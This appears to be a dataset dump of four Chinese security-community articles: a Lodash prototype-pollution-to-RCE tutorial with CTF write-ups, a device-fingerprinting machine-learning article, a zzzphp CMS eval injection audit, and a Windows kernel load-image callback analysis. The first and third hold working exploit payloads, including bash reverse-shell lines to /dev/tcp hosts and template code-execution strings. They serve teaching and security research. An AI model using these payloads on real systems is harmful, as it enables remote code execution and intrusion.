text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 从 Lodash 原型链污染到模板 RCE
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Lodash 模块原型链污染
Lodash 是一个 JavaScript 库，包含简化字符串、数字、数组、函数和对象编程的工具，可以帮助程序员更有效地编写和维护 JavaScript
代码。并且是一个流行的 npm 库，仅在GitHub 上就有超过 400 万个项目使用，Lodash的普及率非常高，每月的下载量超过 8000
万次。但是这个库中有几个严重的原型污染漏洞。
### lodash.defaultsDeep 方法造成的原型链污染（CVE-2019-10744）
2019 年 7 月 2 日，[Snyk 发布了一个高严重性原型污染安全漏洞](https://snyk.io/vuln/SNYK-JS-LODASH-450202)（CVE-2019-10744），影响了小于 4.17.12 的所有版本的 lodash。
Lodash 库中的 `defaultsDeep` 函数可能会被包含 `constructor` 的 Payload
诱骗添加或修改`Object.prototype` 。最终可能导致 Web 应用程序崩溃或改变其行为，具体取决于受影响的用例。以下是 Snyk
给出的此漏洞验证 POC：
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
我们在 `mergeFn({}, JSON.parse(payload));` 处下断点，单步结束后可以看到：
成功在 `__proto__` 属性中添加了一个 `whoami` 属性，值为 `Vulnerable`，污染成功。
该漏洞披露之后，Lodash 于 7 月 9 日发布了 4.17.12 版本，其中包括 Snyk 修复和修复漏洞。我们可以参考一下 Snyk 的工程师
[Kirill](https://github.com/kirill89) 发布到 GitHub 上的 lodash JavaScript 库存储库
<https://github.com/lodash/lodash/pull/4336/files> 的实际安全修复：
该修复包括以下两项安全检查：
* 过滤了 `constructor` 以确保我们不会污染全局对象`constructor`
* 还添加了一个测试用例以确保将来不会发生回归
### lodash.merge 方法造成的原型链污染
Lodash.merge 作为 lodash 中的对象合并插件，他可以 **递归** 合并 `sources` 来源对象自身和继承的可枚举属性到
`object` 目标对象，以创建父映射对象：
merge(object, sources)
当两个键相同时，生成的对象将具有最右边的键的值。如果多个对象相同，则新生成的对象将只有一个与这些对象相对应的键和值。但是这里的 lodash.merge
操作实际上存在原型链污染漏洞，下面对其进行简单的分析，这里使用 4.17.4 版本的 Lodash。
* node_modules/lodash/merge.js
merge.js 调用了 baseMerge 方法，则定位到 baseMerge：
* node_modules/lodash/_baseMerge.js
如果 srcValue 是一个对象则进入 baseMergeDeep 方法，跟进 baseMergeDeep 方法：
* node_modules/lodash/_baseMergeDeep.js
跟进 assignMergeValue 方法：
* node_modules/lodash/_assignMergeValue.js：
跟进 baseAssignValue 方法：
* node_modules/lodash/_baseAssignValue.js
这里的 if 判断可以绕过，最终进入 `object[key] = value` 的赋值操作。
下面给出一个验证漏洞的 POC：
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
我们在 `lodash.merge({}, JSON.parse(payload));` 处下断点，单步结束后可以看到：
成功在类型为 Object 的 a 对象的 `__proto__` 属性中添加了一个 `whoami` 属性，值为 `Vulnerable`，污染成功。
在 lodash.merge 方法造成的原型链污染中，为了实现代码执行，我们常常会污染 `sourceURL` 属性，即给所有 Object
对象中都插入一个 `sourceURL` 属性，然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。
### lodash.mergeWith 方法造成的原型链污染
这个方法类似于 `merge` 方法。但是它还会接受一个 `customizer`，以决定如何进行合并。 如果 `customizer` 返回
`undefined` 将会由合并处理方法代替。
mergeWith(object, sources, [customizer])
该方法与 `merge` 方法一样存在原型链污染漏洞，下面给出一个验证漏洞的 POC：
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
我们在 `lodash.mergeWith({}, JSON.parse(payload));` 处下断点，单步结束后可以看到：
成功在类型为 Object 的 a 对象的 `__proto__` 属性中添加了一个 `whoami` 属性，值为 `Vulnerable`，污染成功。
### lodash.set 方法造成的原型链污染
Lodash.set 方法可以用来设置值到对象对应的属性路径上，如果没有则创建这部分路径。 缺少的索引属性会创建为数组，而缺少的属性会创建为对象。
set(object, path, value)
* 示例：
var object = { 'a': [{ 'b': { 'c': 3 } }] };
_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4
_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5
在使用 Lodash.set 方法时，如果没有对传入的参数进行过滤，则可能会造成原型链污染。下面给出一个验证漏洞的 POC：
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
我们在 `lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');`
处下断点，单步结束后可以看到：
在类型为 Array 的 object _1 对象的 ` __proto__`属性中出现了一个`whoami`属性，值为`Vulnerable`，污染成功。
### lodash.setWith 方法造成的原型链污染
Lodash.setWith 方法类似 `set` 方法。但是它还会接受一个 `customizer`，用来调用并决定如何设置对象路径的值。 如果
`customizer` 返回 `undefined` 将会有它的处理方法代替。
setWith(object, path, value, [customizer])
该方法与 `set` 方法一样可以进行原型链污染，下面给出一个验证漏洞的 POC：
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
我们在 `lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');`
处下断点，单步结束后可以看到：
在类型为 Array 的 object _1 对象的 ` __proto__`属性中出现了一个`whoami`属性，值为`Vulnerable`，污染成功。
至此，我们已经对 lodash 模块中的几个原型链污染做了验证，可以成功污染原型中的属性。但如果要进行代码执行，则还需要配合 `eval()`
方法的执行或模板引擎的渲染。
## 配合 lodash.template 实现 RCE
Lodash.template 是 Lodash 中的一个简单的模板引擎，创建一个预编译模板方法，可以插入数据到模板中 “interpolate”
分隔符相应的位置。 详情请看：<http://lodash.think2011.net/template>
在 Lodash 的原型链污染中，为了实现代码执行，我们常常会污染 template 中的 `sourceURL` 属性，即给所有 Object
对象中都插入一个 `sourceURL` 属性，然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。下面我们通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。
### [Code-Breaking 2018]Thejs
进入题目，主页如下：
关键源码如下：
* server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) // 使用 json 解析 body
app.use('/static', express.static('static'))
app.use(session({ // 启用 session
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body) // 将用户提交的数据合并到 req.session.data 中去
req.session.data = data
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
代码很简单，就是将用户提交的信息，用 `lodash.merge` 方法合并到 session 里面去，多次提交， session
里最终保存你提交的所有信息。这里的 `lodash.merge` 操作存在原型链污染漏洞无需多言，下面给出解题的 payload：
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
为什么要污染 sourceURL 呢？我们看到 `lodash.template`
的代码：<https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165>
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
可以看到 sourceURL 属性是通过一个三目运算法赋值，其默认值为空。再往下看可以发现 sourceURL 被拼接进 Function
函数构造器的第二个参数，造成任意代码执行漏洞。所以我们通过原型链污染 sourceURL 参数构造 chile_process.exec
就可以执行任意代码了。但是要注意，Function 环境下没有 `require` 函数，直接使用`require('child_process')`
会报错，所以我们要用 `global.process.mainModule.constructor._load` 来代替。
我们将 payload 以 Json 的形式发送给后端，因为 express 框架支持根据 Content-Type 来解析请求
Body，为我们注入原型提供了很大方便：
如上图所示，成功执行 `id` 命令。
## 配合 ejs 模板引擎实现 RCE
Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE，首先需要有原型链污染，这里我们暂且使用
lodash.merge 方法中的原型链污染漏洞。
* app.js
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'whoami test'
});
});
//设置http
var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
});
* index.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
运行 app.js 后访问 8000 端口，成功弹出计算器：
下面我们开始分析。
刚开始的 `lodash.merge` 原型链污染没有什么可说的，在 `lodash.merge({},
JSON.parse(malicious_payload));` 处下断点，单步结束后可以看到：
成功在 `__proto__` 中出污染了一个 `outputFunctionName` 属性，值为
`_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var
__tmp2`。
但为什么要污染一个 `outputFunctionName` 属性呢？我们继续往下看。我们从 index.js::res.render 处开始，跟进
render 方法：
* node_modules/express/lib/response.js
跟进到 app.render 方法：
* node_modules/express/lib/application.js
发现最终会进入到 app.render 方法里的 tryRender 函数，跟进到 tryRender：
* node_modules/express/lib/application.js
调用了 `view.render` 方法，继续跟进 `view.render` ：
* node_modules/express/lib/view.js
至此调用了 `engine`，也就是说从这里进入到了模板渲染引擎 `ejs.js` 中。跟进 `ejs.js` 中的 renderFile 方法：
* node_modules/ejs/ejs.js
发现 renderFile 中又调用了 tryHandleCache 方法，跟进 tryHandleCache：
* node_modules/ejs/ejs.js
进入到 handleCache 方法，跟进 handleCache：
* node_modules/ejs/ejs.js
在 handleCache 中找到了渲染模板的 compile 方法，跟进 compile：
发现在 compile 中存在大量的渲染拼接。这里将 `opts.outputFunctionName` 拼接到 prepended 中，prepended
在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 `opts.outputFunctionName`，就能将我们构造的
payload 拼接进 js 语句中，并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 `render` 方法，其最终也是进入了
`compile`。最后给出几个 ejs 模板引擎 RCE 常用的 POC：
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
### [XNUCA 2019 Qualifier]Hardjs
进入题目是一个登录页面：
关键源码如下：
* server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const mysql = require('mysql')
const mysqlConfig = require("./config/mysql")
const ejs = require('ejs')
...
app.get("/get",auth,async function(req,res,next){
var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);
if(dataList[0].count == 0 ){
res.json({})
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom )); // 漏洞点
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);
if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}
}else {
console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();
for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}
console.log(ret);
res.json(ret);
}
});
...
查看 /get 路由的逻辑，可以看到当条数大于五条时会触 merge 发合并操作，并且使用的是
`lodash.defaultsDeep`，这个方法存在原型链污染，在前文已经分析过不在多说。发现题目还使用了 ejs 模板引擎，我们可以通过 ejs
模板引擎进行 RCE。下面给出 payload：
{"type": "test", "content": {"constructor": {"prototype": {"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}}}}
向 `/add` 路由发送 6 次请求：
然后访问 `/get` 路由进行原型链污染，最后访问 `/` 或 `/login` 路由触发 `render` 函数进行 ejs 模板 RCE，成功反弹
Shell：
## 配合 jade 模板引擎实现 RCE
Nodejs 的 jade 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE，首先需要有原型链污染，这里我们暂且使用
lodash.merge 方法中的原型链污染漏洞。
* app.js
var express = require('express');
var lodash= require('lodash');
var jade = require('jade');
var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set("view engine", "jade");
//对原型进行污染
var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("index.jade",{
message: 'whoami test'
});
});
//设置http
var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例，访问地址为 http://%s:%s", host, port)
});
* index.jade
h1 #{message}
p #{message}
运行 app.js 后访问 8000 端口，成功弹出计算器：
下面我们开始分析。
Jade 模板引擎 RCE 的挖掘思路和 ejs 模板的思路很像，当开始都是：`res.render` => `app.render` =>
`tryRender` => `view.render` => `this.engine`，然后从 `engine` 开始进入 jade 模板，jade
入口是 `exports.__express`：
首先可以看到 `options.compileDebug` 无初始值，所以我们可以通过原型污染覆盖开启 Debug 模式，即：
{"__proto__":{"compileDebug":1}}
然后会进入 `renderFile` 方法，跟进之：
* node_modules/jade/lib/index.js
返回的时候进入了 handleTemplateCache 方法，跟进 handleTemplateCache：
* node_modules/jade/lib/index.js
进入 complie 方法，跟进 complie：
* node_modules/jade/lib/index.js
Jade 模板和 ejs 不同，在 compile 编译之前会有 parse 解析，跟进 parse：
* node_modules/jade/lib/index.js
在 parse 中先经过 `parser.parse` 解析，然后由 `compiler.compile` 进行编译，最后返回编译后代码：
但是在 `body` 中存在发现报错处理入口 `addWith`，只要不进入这个条件分支就可以避免报错了，也就需要我们通过原型污染将 self 覆盖为
true：
{"__proto__":{"compileDebug":1,"self":1}}
然后我们回过头来跟进 `compiler.compile`，看看其作用：
* node_modules/jade/lib/compiler.js
首先，编译后代码会存放在 `this.buf` 中，然后通过 `this.visit(this.node)` 遍历分析 parse 产生的 AST 树
this.node，跟进 visit：
* node_modules/jade/lib/compiler.js
可以看到，如果 debug 为真，则 `node.line` 就会被 push 进去，并造成拼接，然后就可以返回 buf 部分进行命令执行。所以最终的
Payload 如下：
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}
## Ending…… | 社区文章 |
## 0x00 前言
基于设备指纹的风控策略以及应用已经十分的广泛。
但是似乎大部分的文章都是为了产品做了PR又或者简单的介绍了场景
并未提及太多研究的过程，于是在重新造轮子的过程中，
顺便把过程记录一下就有了本文
## 0x01 设备指纹
设备指纹的采集有很多方式，但是我们主要关注以下几个方向
* 硬件环境 （cpu型号，主板型号，制造商等...）
* 硬件运行的环境（充电，电量，罗盘等...）
* 软件环境（系统版本，组件版本等...）
* 软件运行的环境（内存，写入速度，运行速度等...）
从4个方向共39个维度进行采集。因为需要兼容GDPR的要求，我们采集信息只有
设备的特征以及运行的状态，通过这两大组的数据组合去判断这个设备是否是
改机或者是场机，以此来对抗黑灰产，所以我们需要申请的权限有且仅一个
* READ_PHONE_STATE
## 0x02 特征工程和建模
虽然只有39维，但是每一个维度都需要进行分析，过程十分的繁杂
但是分析和处理的方法比较传统，基本上最终还是是围绕分桶和独热进行
通过结合数据的特征，把低维的向量展成高维的向量构造出一个巨大的稀疏矩阵供给机器学习
篇幅有限，我们这里只把 **品牌** 这个维度单独拎出来做个展开过程的例子
可以看到 ，各大品牌分布的情况
* TOP 10的占比情况
品牌 | 占比
---|---
oppo | 22.26%
vivo | 22.11%
huawei | 18.21%
xiaomi | 12.19%
honor | 11.32%
samsung | 4.16%
meizu | 3.29%
gionee | 0.98%
oneplus | 0.96%
smartisan | 0.58%
共采集到的品牌数目有1052个品牌，基本上，前10占据了总量的95%左右，
我们以此作做一个置信区间为95%的正态分布来设计一个维度 **brand_pop** ,
如果落于此区间的，我们把这个值置为1，否的话置为0
我们把不是前10的牌子的数据都看了一遍,这里摘抄一些实例数据
Text(1.1,-0.000515123,'ztev987'),
Text(1.1,-0.000513474,'f8'),
Text(1.1,-0.000511826,'zte-e3'),
Text(1.1,-0.000510177,'f8909'),
Text(1.1,-0.000508529,'f8919'),
Text(1.1,-0.000506881,'定制版'),
Text(1.1,-0.000505232,'小米mix'),
Text(1.1,-0.000503584,'desay'),
Text(1.1,-0.000501935,'翼触'),
Text(1.1,-0.000500287,'鱿鱼客'),
Text(1.1,-0.000498639,'dostyle'),
Text(1.1,-0.00049699,'韩众'),
Text(1.1,-0.000495342,'青葱metal'),
Text(1.1,-0.000493694,'长虹'),
Text(1.1,-0.000492045,'迪美'),
Text(1.1,-0.000490397,'谷歌'),
Text(1.1,-0.000488748,'dow'),
Text(1.1,-0.0004871,'e6'),
Text(1.1,-0.000485452,'苹果'),
Text(1.1,-0.000483803,'e889'),
Text(1.1,-0.000482155,'美沃'),
Text(1.1,-0.000480507,'建议该项值修改为 oppo'),
Text(1.1,-0.000478858,'纽麦'),
Text(1.1,-0.00047721,'e9003'),
Text(1.1,-0.000475561,'diskon'),
Text(1.1,-0.000473913,'王者'),
Text(1.1,-0.000472265,'eamey'),
Text(1.1,-0.000470616,'火米'),
Text(1.1,-0.000468968,'detel'),
Text(1.1,-0.00046732,'智先锋'),
Text(1.1,-0.000465671,'edward'),
Text(1.1,-0.000464023,'惠普'),
Text(1.1,-0.000462374,'恒语'),
这里看到一个有意思的， **"建议该项值修改为 oppo"**
不知道是灰黑产喜欢伪装成vivo，oppo，还是说伪装成 oppo和vivo更容易过关，
于是翻回了原始记录进行查看，发现该设备的型号是 **OPPO R11s 可农药多线程**
查看其他信息后，发现是一台真实的机器，不过为了更流畅的玩王者荣耀，改成了 **OPPO R11s**
不过可以看到，大部分的中文的机器基本都是改过的机器，
依据此，我们再造一个特征 **brand_zh** ，包含中文的，这个值是1，不包含的是0,
另外在品牌这个字段，大部分的牌子都是没有空格或者是特殊字符的
所以根据这个我们再造一个特征 **brand_symble** ，计算空格或者特殊字符的个数，
另外品牌的长度 **brand_len** 也是一个比较重要的特征，直接计算牌子的长度
所以，最终brand这个字段，我们造出了4个特征
* brand_pop
* brand_zh
* brand_symble
* brand_len
通过对39个维度的由低维展开到200多个维的一个过程，最终把所有的维度全部数值化，方便机器学习建模和训练的多维向量
# 0x03 建模
一开始想用有监督的学习进行训练，即先人工进行打标后再进行训练和学习
但是由于数据量太大，标注和训练太耗费时间，于是想先尝试直接使用无监督的学习聚类算法。
常见的聚类算法有三种
* 分散性聚类(kmeans)
* 结构性聚类(层次聚类AGNES)
* 密度聚类(DBSCAN）
通过这三种的聚类算法加权求平均来推算最终的分类情况，我们发现也可以获得比较好的效果
由于算法都比较简单，这里只摘取我们使用kmeans的算法过程来进行介绍
使用kmeans非常简单，借助sklearn后两步即可训练完成
estimator = KMeans(n_clusters=2,) #设定分类数量
estimator.fit(X) #训练
但是这样子的效果非常不好，我们需要调参数才可以更加方便的进行处理
具体的参数说明
<http://scikit-learn.org/stable/modules/generated/sklearn.cluster.KMeans.html#sklearn.cluster.KMeans>
比较重要的参数有
* random_state 这个是控制随机种子的参数，为了让实验的变量是可控的，我们这边随机设置了一个整数
* n_init：这个是计算初始化质心的计算次数，默认是10，但是我们可以稍微调大一点，来获取更好的质心来进行分类
* max_iter：默认是300，
* tol: 与inertia结合来确定收敛条件，默认值= 1e-4
比较重要的属性有：
* labels_ : 各个标签的预估值
* inertia_ : 每个点到其簇的质心的距离之和 越小越好
建模代码
from sklearn.cluster import KMeans
X = trandata.values #聚类数据
estimator = KMeans(n_clusters=2,n_init=100,random_state=1,n_jobs=-1,max_iter=300,tol=0.0001) #构造聚类器
estimator.fit(X) #聚类
label_pred = estimator.labels_ #获取聚类标签
#获取k-means结果
x0 = X[label_pred == 0]
x1 = X[label_pred == 1]
# 0x04 评估
评估的分类的方式有很多， 这里我们采用 F1-Score 去评判
F1 同时评估了 召回率和精准率 ，代码如下
from sklearn.metrics import classification_report,precision_score,f1_score
##表示真实的情况
act_y = all_data["act_y"].values
##表示预测后的值
pred_y = all_data["pred_y"].values
f1_score(act_y, pred_y, average='macro')
在未进行任何优化之前 F1的得分 0.509422680896571
通过调整参数和优化特征后 ，最后的F1得分 0.768547163906923
虽然还是差强人意的分数，离我们预期的0.95以上的分数还是差一大截
不过没关系，这是我们第一个模型，我们还有其他两个模型一起协同计算分数
最终我们的计算公式是
Score = (y1*f1_1 + y2*f1_2+y3*f1_3)/3
这里的y1，y2,y3 分别是各自聚类算法中算当前预估的点到核心的距离的一个scale后的值
通过三个聚类的模型进行融合后，我们从数据里筛选出近 0.0265 左右的异常手机，但是
这里的数值依旧感觉是偏高，模型无法投入实际生产环境，不过依据这 0.0265 的异常手机的量，
我们拿到了非常多异常特征的值，启发了设备指纹的采集方向和思路，重新设计了设备指纹
把39维的采集维度扩增到80维，待重新采集一段时间后，再使用算法进行对设备指纹的数据重新建模
# 0x05 总结
尽管在有数据的情况下，想着可以一步到位通过机器学习来建立一个比较好的模型，但实际上可能还是经验
和特征不够的问题，导致建模的结果并不是特别的好，不过好在模型筛选出来的数据都比较有代表性，提供了
设备指纹一些设计思路和方向，对于后续重新建模提供了基础的模板和方向。
这里提出一个我们在建模中遇到一个问题：
如果你用机器算法学习去识别异常机器，假设黑产也用GAN去模拟真实机器
那么，如何识别这些通过GAN生成出来的真实机器呢？ | 社区文章 |
# 漏洞产生原因：
zzzphp cms ，远程代码执行漏洞存在的主要原因是页面对模块的php代码过滤不严谨，导致在后台可以写入php代码从而造成代码执行。
# 源码审计：
打开/search/index.php
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';
发现是跳到/inc/zzz_client.php，那么我们就来到/inc/zzz_client.php
发现解析模块是通过ParsetTemplate来解析的，那么我们找到ParserTemplate类的php文件zzz_template.php。在zzz_template.php中我们发现一个IF语句
$zcontent = $this->parserIfLabel( $zcontent ); // IF语句
那么我们来到zzz_template.php中对parserIfLabel的定义
发现$ifstr 经过一连串的花里胡哨的过滤最后进了evel函数，然后使用了evel函数执行，最后造成了本次远程代码执行漏洞。
# 漏洞利用：
在后台模块管理中的电脑模块找到cn2016
然后在cn2016文件中到html文件，然后在html文件中找到search.html，然后将其的代码修改为
{if:assert($_request[phpinfo()])}phpinfo();{end if}
然后打开`http://xxxx.com/zzzcms/search/`就可以看到我们刚刚输入的phpinfo()执行了。 | 社区文章 |
# 【技术分享】Windows PsSetLoadImageNotifyRoutine的0day漏洞（续）
|
##### 译文声明
本文是翻译文章，文章来源：breakingmalware.com
原文地址：<https://breakingmalware.com/documentation/windows-pssetloadimagenotifyroutine-callbacks-good-bad-unclear-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[anhkgg](http://bobao.360.cn/member/contribute?uid=2894976744)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】Windows
PsSetLoadImageNotifyRoutine的0day漏洞**](http://bobao.360.cn/learning/detail/4397.html)
**
**
**简介**
****
安全服务商和内核开发者需要注意，Windows内核的一个代码编写错误可以能让你无法再运行中拿到是哪个模块被加载了的信息。并且修复它不是你想象的那么简单。
**快速回顾**
****
在研究windows内核过程中，我们遇到了一个有趣的问题，关于 **PsSetLoadImageNotifyRoutine**
，就是通知模块加载的。在注册了一个加载PE模块的通知之后，内核回调函数可能会收到一个不合法的镜像名字。
在我们之前发布的博客中，我们研究了这个bug相关的不同内核组件。在弄明白了原因之后，我们找到了一种解决它的方法。
**疑惑：一个持久的问题**
****
有一件事对我们来说非常奇怪，就是这个机制已经非常老了，但是在我们之前没有人遇到这个问题。这么多年来一个文档化的广泛使用的windows内核机制怎么可能这样，没有修复这么一个明显的问题，或者发布新的文档。
经过在线的一番与这个bug相关的信息的搜索，我们没有发现任何官方的文档，或者可能引起的任何信息。我们也在[社区](http://www.osronline.com/showThread.cfm?link=88362)遇到一个类似问题的特殊说明，它让我们知道了一些重要的事情：
**a. 这个问题，我们也可以复现，好像来源于同样的问题**
**b. 一个关于回调通知的同样的bug在十年前甚至更早就已经出现了（我们没有发现在2001年以前的信息了）**
**c. 微软应该也知道这个问题**
**错误的解决方案**
****
在寻找解决这个bug的方案时，我们发现了几款工具试图通过不同的方法解决它，但其实没什么用。有些使用 **ObQueryNameString**
或者各种API其实会有相同的结果，在其他地方简单增加和 **FILE_OBJECT.FileName** 相关的 **DEVICE_OBJECT**
的名字，但其实在object的生命周期从来没有使用它。
**我们还在继续做**
****
此时，我们决定继续检查其他提供PE加载回调通知的函数，如 **PsSetCreateProcessNotifyRoutineEx**
，这个函数在Windows Vista Sp1之后才能使用。我们想看看他是否也有同样的bug在内核中。
让我们困惑的是在这个函数中CreateInfo参数有一个特定flag，FileOpenNameAvailable，当设置为TRUE时，表示这个字符串指定的完整文件名字是要打开的可执行文件的名字。如果设置为FALSE，操作系统只是提供一部分名字。
在查看nt!PspInsertThread的反汇编代码是，这个flag明显被设置为FALSE，ImageFileName是FILE_OBJECT（进程的SECTION）的FileName字段。像我们之前提到的加载镜像通知回调的问题一样，这个flag表明这个穿拿来的参数的完整性是不可信任的。
图1. Nt!PspInsertThread –
在调用注册的回调之前初始化CreateInfo.ImageFileName和CreateInfo.FileOpenNameAvailable
看起来微软像是注意到了这个问题，至少负责 **PsSetCreateProcessNotifyRoutineEx**
的开发者注意到了。事实上，微软为什么至今也没有解决 **PsSetLoadImageNotifyRoutine** 的bug依然让人不解。
**用微软的方式（几乎正确）**
****
在搜索更多关于 **PsSetCreateProcessNotifyRoutineEx**
的文档的时候，我们找到了一篇2007年5月的文档，叫做“支持Windows Server
2008的内核数据和过滤”，目前已经在微软的网站上已经没有了（[这里有引用](https://breakingmalware.com/wp-content/uploads/2017/09/Kernel-Data-and-Filtering-Support-for-Windows-Server-2008.pdf)）。这个文档指明在使用进程创建回调时，驱动可以通过过滤管理API获取额外的属性，比如
**FltGetFileNameINformationUnsafe** 。
根据这些信息我们确认FltGetFielNameInformationUnsafe可以提供给我们最优雅和简单的解决这个bug的方案。使用这个函数可以让我们不用实现文件系统小过滤驱动就可以解决这个问题。我们从
**PsSetLoadImageNotifyRoutine** 回调中拿到FILE_OBJECT的方式和从
**PsSetCreateProcessNotifyRoutineEx** 回调中非常类似，所以在我们的问题中它看起来是一个可行的解决方案。
让我们更放心的是在某些Windows自己的组件中也使用了这个函数，比如Windows Defender和防火墙。
图2. Windows 10Redstone中Windows Defender(WdFilter.sys)和防火墙的回调
**尽管未尽明**
****
在加载镜像通知回调中使用 **FltGetFileNameInformationUnsafe**
偶尔会失败，返回STATUS_OBJECT_NAME_NOT_FOUND。在微软文档中这个错误没记录未这个函数可能的错误。
经过一些实验，我们找到能始终重现这个错误状态的准确的事件序列。FltGetFileNameInformationUnsafe会在一定阶段调用fltmgr!FltpExpandShortNames，这个是实际验证文件路径是否存在的函数。
图3. Fltmgr!FltGetFileNameINformationUnsafe中Fltmgr!FltpExpandShortNames的回调
问题是这个验证仅仅是一部分：代码验证路径中所有目录是否存在，但是却忽略了检查给定路径中文件本身是否存在。因此，我们现在知道它给出的错误代码只在文件当前不在他以前的目录中才是有效的，我们至少可以获取到它打开的名字（在给
**FltGetFileNameInformationUnsafe** 传递适当的flag的时候）。
